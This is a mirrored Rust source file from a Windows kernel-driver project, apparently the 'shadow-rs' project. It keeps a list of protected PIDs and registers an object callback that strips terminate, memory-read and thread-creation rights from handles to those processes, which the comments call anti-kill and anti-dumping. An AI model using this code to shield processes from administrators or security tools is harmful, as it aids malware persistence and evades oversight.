mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-24 02:34:22 +01:00
142 lines
4.8 KiB
Rust
142 lines
4.8 KiB
Rust
#![cfg(not(feature = "mapper"))]
|
|
|
|
use {
|
|
alloc::vec::Vec,
|
|
core::ffi::c_void,
|
|
spin::{Mutex, lazy::Lazy},
|
|
shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PIDS},
|
|
winapi::um::winnt::{PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ},
|
|
wdk_sys::{
|
|
ntddk::PsGetProcessId,
|
|
_OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS},
|
|
NTSTATUS, OB_PRE_OPERATION_INFORMATION, PEPROCESS,
|
|
PROCESS_DUP_HANDLE, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
|
|
STATUS_DUPLICATE_OBJECTID
|
|
},
|
|
};
|
|
|
|
/// Handle for the process callback registration.
|
|
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut c_void = core::ptr::null_mut();
|
|
|
|
/// List of target PIDs protected by a mutex.
|
|
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS)));
|
|
|
|
/// Method to check if the action sent is to add or remove a pid from the list of protected processes
|
|
///
|
|
/// # Parameters
|
|
/// - `process`: Structure with information about the process that will be added or removed from the list of protected processes.
|
|
///
|
|
/// # Returns
|
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
|
///
|
|
///
|
|
pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS {
|
|
let pid = unsafe { (*process).pid };
|
|
let status = if unsafe { (*process).enable } {
|
|
add_target_pid(pid)
|
|
} else {
|
|
remove_target_pid(pid)
|
|
};
|
|
|
|
status
|
|
}
|
|
|
|
/// Method for adding the list of processes that will have anti-kill / dumping protection.
|
|
///
|
|
/// # Parameters
|
|
/// - `pid`: The identifier of the target process (PID) to be hidden.
|
|
///
|
|
/// # Returns
|
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
|
///
|
|
fn add_target_pid(pid: usize) -> NTSTATUS {
|
|
let mut pids = TARGET_PIDS.lock();
|
|
|
|
if pids.len() >= MAX_PIDS {
|
|
log::error!("PID list is full");
|
|
return STATUS_UNSUCCESSFUL;
|
|
}
|
|
|
|
if pids.contains(&pid) {
|
|
log::warn!("PID {pid} already exists in the list");
|
|
return STATUS_DUPLICATE_OBJECTID;
|
|
}
|
|
|
|
pids.push(pid);
|
|
|
|
STATUS_SUCCESS
|
|
}
|
|
|
|
/// Method for removing the list of processes that will have anti-kill / dumping protection.
|
|
///
|
|
/// # Parameters
|
|
/// - `pid`: The identifier of the target process (PID) to be hidden.
|
|
///
|
|
/// # Returns
|
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
|
///
|
|
fn remove_target_pid(pid: usize) -> NTSTATUS {
|
|
let mut pids = TARGET_PIDS.lock();
|
|
|
|
if let Some(index) = pids.iter().position(|&x| x == pid) {
|
|
pids.remove(index);
|
|
STATUS_SUCCESS
|
|
} else {
|
|
log::error!("PID {pid} not found in the list");
|
|
STATUS_UNSUCCESSFUL
|
|
}
|
|
}
|
|
|
|
/// Enumerate Processes Protect.
|
|
///
|
|
/// # Parameters
|
|
/// - `info_process`: It is a parameter of type `InfoProcesses` that will send the processes that are currently protected.
|
|
/// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `InfoProcesses` structures.
|
|
///
|
|
/// # Return
|
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
|
///
|
|
pub unsafe fn enumerate_protection_processes(info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
|
|
let process_info = TARGET_PIDS.lock();
|
|
let mut count = 0;
|
|
for i in process_info.iter() {
|
|
(*info_process.offset(count)).pids = *i;
|
|
|
|
*information += core::mem::size_of::<ProcessListInfo>();
|
|
count += 1;
|
|
}
|
|
|
|
STATUS_SUCCESS
|
|
}
|
|
|
|
/// The object (process) pre-operation callback function used to filter process opening operations.
|
|
/// This function is registered as a callback and is called by the operating system before a process opening operation is completed.
|
|
///
|
|
/// # Parameters
|
|
/// - `_registration_context`: Pointer to record context (Not used).
|
|
/// - `info`: Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation.
|
|
///
|
|
/// # Returns
|
|
/// - `_OB_PREOP_CALLBACK_STATUS::Type`: A status code indicating the success or failure of the operation.
|
|
///
|
|
pub unsafe extern "C" fn on_pre_open_process(
|
|
_registration_context: *mut c_void,
|
|
info: *mut OB_PRE_OPERATION_INFORMATION,
|
|
) -> _OB_PREOP_CALLBACK_STATUS::Type {
|
|
if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 {
|
|
return OB_PREOP_SUCCESS;
|
|
}
|
|
|
|
let process = (*info).Object as PEPROCESS;
|
|
let pid = PsGetProcessId(process) as usize;
|
|
let pids = TARGET_PIDS.lock();
|
|
|
|
if pids.contains(&pid) {
|
|
log::info!("Anti-Kill / Dumping actived with PID => {pid}");
|
|
let mask = !(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_TERMINATE);
|
|
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
|
|
}
|
|
|
|
OB_PREOP_SUCCESS
|
|
}
|